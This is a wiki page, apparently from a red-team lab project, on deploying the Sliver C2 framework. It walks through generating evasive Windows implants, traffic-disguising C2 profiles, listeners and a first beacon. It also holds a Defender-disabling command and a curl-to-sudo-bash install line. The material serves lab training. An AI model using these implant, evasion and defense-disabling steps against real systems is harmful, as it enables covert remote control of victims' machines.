11. Sliver

📡 Sliver

Home > Sliver

CLI-driven, multi-platform C2 framework from BishopFox. Designed as a modern alternative to Cobalt Strike. The default redStack configuration ships with the redstack C2 profile pre-generated and an admin operator config ready to import.

On this page: Considerations · Configuration · Initial Beacon · Troubleshooting · See Also.

At a glance
Hostname	`sliver` (private VPC only)
Console	`sliver-client` after SSH-ing into the Sliver host (Guacamole > Sliver (SSH))
Operator config	`/home/admin/.sliver-client/configs/admin.cfg` (auto-installed at boot)
URI prefix	`/cloud/storage/objects/` (stripped before forward to Sliver)
Multiplexer port	31337 (gRPC, internal only)
Default implant	Cross-compiled Windows `.exe` over HTTP
Time to first beacon	~2 minutes once the lab is verified
Full docs	Sliver wiki

Note

Sliver runs as a daemon that exposes a gRPC multiplexer on port 31337. Operators connect via sliver-client, which speaks gRPC and authenticates with a per-operator .cfg file. Multiple operators can attach to the same daemon simultaneously and see each other's sessions, tasking, and listener output.

Considerations

- When Sliver is the right pick

CLI-first workflow: If you prefer a terminal over a browser GUI, Sliver feels natural. Tab-completion, command history, scriptable. Useful for muscle memory transfer to/from real engagements.
Cross-platform implants: Sliver cross-compiles to Windows / Linux / macOS from a single command. The --os and --arch flags do the work; no separate builders.
Multi-transport: HTTP/S is what redStack wires up to the redirector, but Sliver also supports DNS, mTLS, and WireGuard out of the box. Useful when you want to compare beacon characteristics across transports.
One operator, one box, fast: No Docker stack, no UI server, no DB to manage. Just a daemon and a client. Boots fast, restarts fast.
Cobalt-Strike-like idiom: If you've used Cobalt or are migrating away from it, Sliver's sessions, use, tasks, interact mental model is familiar.

- When to skip Sliver

Multi-operator coordination at scale: Sliver supports multiplayer, but Mythic's UI for assigning callbacks to operators, reviewing tasking, and sharing files between operators is more refined. For a 5+ operator engagement, Mythic wins.
Visual demos / training: A web UI with a callback table is easier to point at on a screen than a CLI. For workshops, lean Mythic or Havoc.
Modern evasion testing: Sliver implants are well-known to AV vendors. The default Windows implant lights up Defender immediately. For evasion practice, Havoc demons are stronger out of the box.

- Sizing tradeoffs

Default t3.medium (2 vCPU, 4 GB RAM, 25 GB disk):

Sliver's daemon is lightweight at idle. The memory pressure comes from implant generation.
Implant generate runs the Go cross-compiler in-process. The compiler can consume 2+ GB of RAM during compilation. On a t3.small, this exhausts physical memory — the kernel then limits what new processes can be forked, including sshd, causing SSH connections to hang at the banner exchange until the system is rebooted. The default is t3.medium to avoid this entirely.
The lab also ships a 2 GB swapfile on the Sliver host as a safety net, but on t3.medium the compiler operates entirely in physical RAM and swap is not touched during normal generation.
Downgrading to t3.small is possible for cost savings if Sliver is only used occasionally alongside Mythic or Havoc, but expect slower generation and occasional SSH disruptions during heavy compile loads.

Disk: 25 GB. Generated implants land in /tmp by default. Periodic cleanup keeps disk healthy across long sessions.

- What ships pre-installed

Component	Where
Sliver server binary	`/usr/local/bin/sliver-server` (symlink to `/root/sliver-server`)
Sliver client	Bundled with server install; available on PATH as `sliver-client`
systemd unit	`sliver.service` (auto-start enabled at boot)
Operator config	`/home/admin/.sliver-client/configs/admin.cfg` (loaded on first `sliver-client` invocation)
Pre-built C2 profile	`/home/admin/redstack-c2-profile.json` (import once, used by `generate --c2profile redstack`)

The redstack C2 profile pre-bakes the X-Request-ID header value so generated implants pass the redirector's header check without manual configuration.

- Operations model

Sliver state lives on disk in /root/.sliver/:

/root/.sliver/configs/server.crt, server.key: TLS for the gRPC multiplexer.
/root/.sliver/database/: BoltDB store with sessions, listeners, jobs, operators, generated implants metadata.
/root/.sliver/configs/operators/: Operator certs (mTLS to gRPC).

A terraform destroy && apply cycle wipes all of this. A systemctl restart sliver preserves it. The [Service] UMask=0022 override in /etc/systemd/system/sliver.service.d/ ensures generated implants are world-readable so the admin user can scp them off the server without sudo.

Configuration

- What runs where

sliver (Debian 12) [t3.medium, EBS gp3 25 GB]
├── /root/sliver-server                   The daemon binary
├── /usr/local/bin/sliver-server          Symlink for PATH
├── /etc/systemd/system/sliver.service    systemd unit
├── /etc/systemd/system/sliver.service.d/
│   └── umask.conf                        UMask=0022 override (world-readable implants)
├── /root/.sliver/                        Server state (DB, certs, jobs)
│   ├── database/                         BoltDB
│   ├── configs/                          server cert, operator certs
│   └── slivers/                          Generated implant binaries
├── /root/admin.cfg                       Pre-generated operator config (master copy)
├── /home/admin/.sliver-client/configs/
│   └── admin.cfg                         Operator config installed for the admin user
└── /home/admin/redstack-c2-profile.json  Pre-built C2 profile with redirector header baked in

- sliver-server quick reference

These run as root on the Sliver host. Most ops are done from the client (sliver-client), but sliver-server has a few useful subcommands:

Command	What it does
`sliver-server operator --name X --lhost localhost --save /path/to/X.cfg --permissions all`	Generate a new operator config
`sliver-server unpack --force`	Re-extract the embedded armory (cross-compilation toolchains, agent templates)
`sliver-server version`	Print server version

For day-to-day ops, you'll mostly use sliver-client.

- sliver-client (in-console) quick reference

Command	What it does
`help`	List all commands
`sessions`	List active callbacks
`use <session-id>`	Switch to a session's interaction context
`interact <session-id>`	Same as `use`
`tasks`	List recent tasking
`c2profiles list` / `c2profiles import --file X --name Y`	Manage C2 profiles
`http --lhost 0.0.0.0 --lport 80`	Start an HTTP listener
`https --lhost 0.0.0.0 --lport 443 --domain X`	Start an HTTPS listener (with cert)
`dns --domains X`	Start a DNS listener
`generate --http <URL> --os windows --arch amd64 --format exe ...`	Generate an implant
`armory`	Browse / install community-contributed extensions
`jobs`	List running listeners (and other background jobs)
`kill -K <session-id>`	Terminate a session and its implant

- Generating implants

The generate command builds an implant binary. Example with all common flags:

sliver > generate \
  --http https://yourdomain.tld/cloud/storage/objects/ \
  --os windows \
  --arch amd64 \
  --format exe \
  --c2profile redstack \
  --name fileserver-impl \
  --evasion \
  --max-errors 100 \
  --reconnect 60 \
  --save /tmp/fileserver.exe

Flag	What
`--http` / `--https` / `--mtls` / `--dns` / `--wg`	Transport. Repeat for fallback (`--http URL1 --http URL2`)
`--os`	`windows` / `linux` / `darwin`
`--arch`	`amd64` / `386` / `arm64`
`--format`	`exe` / `shellcode` / `shared` (DLL / .so) / `service` (Windows service binary)
`--c2profile`	Reference an imported profile by name
`--name`	Implant identifier (shows in `sessions`)
`--evasion`	Enable evasion features (anti-VM, anti-sandbox checks)
`--max-errors`	How many failed callbacks before the implant gives up
`--reconnect`	Seconds between callback attempts
`--save`	Output path

- C2 profile customization

The pre-built redstack profile lives at /home/admin/redstack-c2-profile.json. It's a JSON document defining the implant's HTTP behavior: User-Agent, headers, URI patterns, etc. To customize:

# On the Sliver host
nano /home/admin/redstack-c2-profile.json
# Then in sliver-client
sliver > c2profiles rm redstack
sliver > c2profiles import --file /home/admin/redstack-c2-profile.json --name redstack

Key fields you might tune:

implant_config.user_agent: the User-Agent string the implant sends
implant_config.headers: list of headers (the redstack X-Request-ID lives here)
implant_config.files / paths / extensions: URI fragments used to construct legitimate-looking request paths
implant_config.nonce_query_args: pool of letters used for cache-busting query strings

- Multi-operator setup

To add another operator:

# On the Sliver host
sudo sliver-server operator --name alice --lhost <SLIVER_PRIVATE_IP> --save /root/alice.cfg --permissions all

# Copy alice.cfg to alice's machine. From there:
sliver-client import /path/to/alice.cfg
sliver-client

The --lhost flag is critical: it embeds the Sliver host IP into the config, so alice's client knows where to dial. Use the private IP if alice is connecting from inside the lab (e.g., another Linux host); use the public Guacamole IP with SSH tunnel if remote.

A pre-canned helper is at /root/generate_operator_config.sh <name> for quick adds.

- Listeners (beyond HTTP)

The redStack redirector only proxies HTTP from /cloud/storage/objects/ to Sliver. To use other Sliver transports:

HTTPS direct: https --lhost 0.0.0.0 --lport 443. Requires a real cert; you'd terminate SSL at Sliver instead of the redirector. Out of scope for redStack default.
DNS: dns --domains lab.example.com. Requires DNS server config; bypasses the redirector. Possible to wire up but not part of redStack default flow.
mTLS / WireGuard: similar story; bypasses the redirector and needs separate ingress.

For redStack default, stick with HTTP-on-port-80 internally and let the redirector terminate SSL on 443 publicly.

- Resetting between sessions

# Stop the daemon
sudo systemctl stop sliver

# Wipe state
sudo rm -rf /root/.sliver/database/*
sudo rm -f /root/.sliver/slivers/*

# Restart
sudo systemctl start sliver

This survives a terraform destroy && apply cycle automatically (since destroy wipes the EBS volume).

Initial Beacon

The walkthrough to confirm Sliver is wired correctly. Assumes Verify is complete and the Redirector cert step is done (Direct Access).

- Step 1: Access the Sliver Host

Two paths:

Method	How
Via Guacamole	Click Sliver (SSH) in the Guacamole portal
From Windows workstation	Open MobaXterm > redStack Lab > Sliver (SSH)

Both methods are the standard access paths for redStack. Sliver has no public IP; all access is through the internal VPC via Guacamole or MobaXterm on Windows.

- Step 2: Connect to Sliver and Start the Listener

sliver-client

The pre-installed admin.cfg config is loaded automatically. You should land at the sliver > prompt within a couple of seconds.

On first session per deployment, import the redstack C2 profile (only needed once; Sliver persists it in the database):

sliver > c2profiles import --file /home/admin/redstack-c2-profile.json --name redstack

Start the HTTP listener:

sliver > http --lhost 0.0.0.0 --lport 80

You'll see [*] Starting HTTP listener then [*] Successfully started job #N.

[IMAGE PLACEHOLDER]: Screenshot of the Sliver console after http --lhost 0.0.0.0 --lport 80 showing the listener confirmation banner.

✅ Checkpoint: Sliver HTTP listener active on port 80.

- Step 3: Generate the Implant

sliver > generate \
  --http https://yourdomain.tld/cloud/storage/objects/ \
  --os windows --arch amd64 --format exe \
  --c2profile redstack \
  --save /tmp/implant.exe

Replace yourdomain.tld with your redirector_domain from tfvars, or the redirector public IP for Tunneled Access (https://<REDIR_PUBLIC_IP>/cloud/storage/objects/).

The /cloud/storage/objects/ URI prefix is critical: it's what the redirector matches before stripping and forwarding to Sliver on port 80. Wrong prefix = decoy page.

Wait ~60-90 seconds for cross-compilation. You'll see [*] Generating new windows/amd64 implant binary then [*] Implant saved to /tmp/implant.exe.

[GIF PLACEHOLDER]: Terminal recording of the generate command from issue to completion. Shows the cross-compile progress and final save path.

✅ Checkpoint: /tmp/implant.exe exists on the Sliver host.

- Step 4: Transfer to Windows and Execute

From PowerShell on the Windows workstation:

scp admin@sliver:/tmp/implant.exe C:\Users\Administrator\Desktop\implant.exe

Authenticate with the lab password when prompted. Hostname sliver resolves via the local hosts file. This doesn't interrupt your active Sliver console session.

Double-click implant.exe on the Windows desktop (or run from a cmd / PowerShell prompt). The implant connects out, hits the redirector, the redirector forwards to Sliver, and Sliver registers a new session.

[IMAGE PLACEHOLDER]: Screenshot of the Sliver console showing [*] Session #N for the freshly-arrived implant, with the Windows hostname and user displayed.

✅ Checkpoint: First Sliver session registered.

- Step 5: Confirm the Full Path

sliver > sessions

You should see your new session listed. Interact with it:

sliver > use [SESSION_ID]
sliver (SESSION) > whoami
sliver (SESSION) > pwd
sliver (SESSION) > ifconfig

Expected: windows\administrator (or similar) for whoami.

In another terminal, tail the redirector access log:

In Guacamole, open the Redirector (SSH) connection and run:

sudo tail -f /var/log/apache2/redirector-ssl-access.log

Look for regular GET/POST requests to /cloud/storage/objects/.... If you see them, the chain is end-to-end working: implant > DNS > redirector cert + header check + URI route > VPC peering > Sliver HTTP listener > tasking response back.

[GIF PLACEHOLDER]: Split-pane recording, Sliver console on the left running whoami and pwd, redirector log on the right showing matching POST entries.

✅ Checkpoint: Lab is fully operational for Sliver. Move to Mythic or Havoc for the other C2 walkthroughs, or Kali for AD enum / attack tooling.

Tip

If you see "profile with name 'redstack' already exists" you're good. The profile survives between client reconnects. [!WARNING] SSL terminates at the redirector. Sliver receives plain HTTP on port 80 internally. From the target's perspective, callbacks are encrypted because the URL the implant uses is https://yourdomain/.... [!WARNING] Defender is disabled on the lab Windows workstation by default. If you re-enabled it (for evasion testing), it will quarantine the unobfuscated implant. Either disable Defender (Set-MpPreference -DisableRealtimeMonitoring $true) or generate the implant with --evasion and additional obfuscation.

Troubleshooting

- `sliver-client` hangs on connect

Means the daemon isn't accepting gRPC connections. Check:

sudo systemctl status sliver
sudo ss -tlnp | grep 31337

If port 31337 isn't listening: sudo systemctl restart sliver and wait ~10 seconds for the daemon to come up. Then retry the client.

- `sliver-server: command not found`

The Sliver install completed but the symlink wasn't created. Verify:

ls -la /root/sliver-server
ls -la /usr/local/bin/sliver-server

If the binary exists at /root/sliver-server but the symlink is missing:

sudo ln -sf /root/sliver-server /usr/local/bin/sliver-server

If /root/sliver-server itself is missing, the install failed. Re-run:

curl https://sliver.sh/install | sudo bash

- `c2profiles import` fails with "no such file"

The profile is generated by cloud-init at /home/admin/redstack-c2-profile.json. If cloud-init was interrupted, it may not exist. Check:

ls -la /home/admin/redstack-c2-profile.json

If missing, generate it manually. The profile is just JSON; copy from the latest sliver_setup.sh in the repo's terraform/setup_scripts/ and adjust the header value to match terraform output deployment_info.

- Implant compiles but never calls back

In order:

Listener is running: sliver > jobs should list the HTTP listener on port 80.
Network path is clear: From the Sliver host: curl -k -H "X-Request-ID: <token>" -A "Mozilla/5.0..." https://yourdomain.tld/cloud/storage/objects/test. Should reach the Sliver listener (404 from Sliver = good). 200 with decoy HTML = redirector header check failed.
Implant URL matches: --http flag must include the full /cloud/storage/objects/ prefix and use https:// (the redirector terminates SSL).
C2 profile baked the right header: Compare the X-Request-ID value in redstack-c2-profile.json against terraform output deployment_info. If they don't match, re-generate the profile.
Defender on Windows: Check Event Viewer for Defender quarantine. Implant never executes if quarantined.

See Troubleshooting > Agent Won't Callback for the full checklist applying to all C2s.

- "Operator config has no permissions" on connect

The admin.cfg was generated with --permissions all. If you're seeing permission errors, the config may have been overwritten by a manual sliver-server operator --name admin run without --permissions. Regenerate:

sudo sliver-server operator --name admin --lhost localhost --save /root/admin.cfg --permissions all
sudo cp /root/admin.cfg /home/admin/.sliver-client/configs/admin.cfg
sudo chown admin:admin /home/admin/.sliver-client/configs/admin.cfg
sudo chmod 600 /home/admin/.sliver-client/configs/admin.cfg

- Generated implant is owned by root, can't `scp`

This is the umask issue the redStack systemd override exists to fix. If implants are 600 root:root instead of 644 root:root:

ls -la /etc/systemd/system/sliver.service.d/umask.conf

If the file doesn't exist, recreate it:

sudo mkdir -p /etc/systemd/system/sliver.service.d/
sudo tee /etc/systemd/system/sliver.service.d/umask.conf > /dev/null << 'EOF'
[Service]
UMask=0022
EOF
sudo systemctl daemon-reload
sudo systemctl restart sliver

Future-generated implants will be world-readable. Existing ones: sudo chmod 644 /tmp/*.exe.

- SSH hangs at banner exchange / can't connect to Sliver host

Symptom: ssh admin@sliver (or Guacamole > Sliver SSH, or MobaXterm) stalls immediately after TCP connects and never shows a login prompt. The connection eventually times out with Connection timed out during banner exchange.

Cause: Sliver implant generation (generate) runs the Go cross-compiler in-process. On a t3.small (2 GB RAM), this exhausts physical memory. When memory is gone, the OS cannot fork new processes — including the child sshd that handles your connection — so the banner is never sent. The Sliver daemon and sshd service are both still running; the system just can't spawn any more processes until memory pressure drops.

Immediate fix: Reboot the instance. Once memory is reclaimed, sshd forks normally.

aws ec2 reboot-instances --region us-east-1 --instance-ids <SLIVER_INSTANCE_ID>
# SSH will be back within ~60 seconds

Permanent fix: The default instance type is now t3.medium (4 GB RAM), which prevents memory exhaustion entirely. If you previously deployed with t3.small, upgrade via AWS CLI without a full destroy:

aws ec2 stop-instances --instance-ids <SLIVER_INSTANCE_ID>
aws ec2 wait instance-stopped --instance-ids <SLIVER_INSTANCE_ID>
aws ec2 modify-instance-attribute --instance-id <SLIVER_INSTANCE_ID> --instance-type '{"Value":"t3.medium"}'
aws ec2 start-instances --instance-ids <SLIVER_INSTANCE_ID>

Also update sliver_instance_type = "t3.medium" in terraform.tfvars so future deploys use the correct size.

- Sliver service won't start after a reboot

sudo systemctl status sliver
sudo journalctl -u sliver -n 50

Most common: corrupted BoltDB (rare; happens if a hard kill mid-write):

sudo systemctl stop sliver
sudo mv /root/.sliver/database /root/.sliver/database.bad
sudo systemctl start sliver
# All sessions/listeners/operators are gone but the daemon comes up clean

For prod-like state preservation, see Cost Management > Stop Between Sessions.

- Multiplexer port 31337 reachable from outside the VPC

It shouldn't be. The Sliver SG only allows port 31337 from the Windows SG and Guacamole SG (so operators inside the lab can attach sliver-client). If you see it accessible from elsewhere, audit the SG rules:

aws ec2 describe-security-groups --filters "Name=tag:Hostname,Values=sliver" --query 'SecurityGroups[*].IpPermissions'

11. Sliver

📡 Sliver

Considerations

- When Sliver is the right pick

- When to skip Sliver

- Sizing tradeoffs

- What ships pre-installed

- Operations model

Configuration

- What runs where

- sliver-server quick reference

- sliver-client (in-console) quick reference

- Generating implants

- C2 profile customization

- Multi-operator setup

- Listeners (beyond HTTP)

- Resetting between sessions

Initial Beacon

- Step 1: Access the Sliver Host

- Step 2: Connect to Sliver and Start the Listener

- Step 3: Generate the Implant

- Step 4: Transfer to Windows and Execute

- Step 5: Confirm the Full Path

Troubleshooting

- sliver-client hangs on connect

- sliver-server: command not found

- c2profiles import fails with "no such file"

- Implant compiles but never calls back

- "Operator config has no permissions" on connect

- Generated implant is owned by root, can't scp

- SSH hangs at banner exchange / can't connect to Sliver host

- Sliver service won't start after a reboot

- Multiplexer port 31337 reachable from outside the VPC

See Also

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Clone this wiki locally

- `sliver-client` hangs on connect

- `sliver-server: command not found`

- `c2profiles import` fails with "no such file"

- Generated implant is owned by root, can't `scp`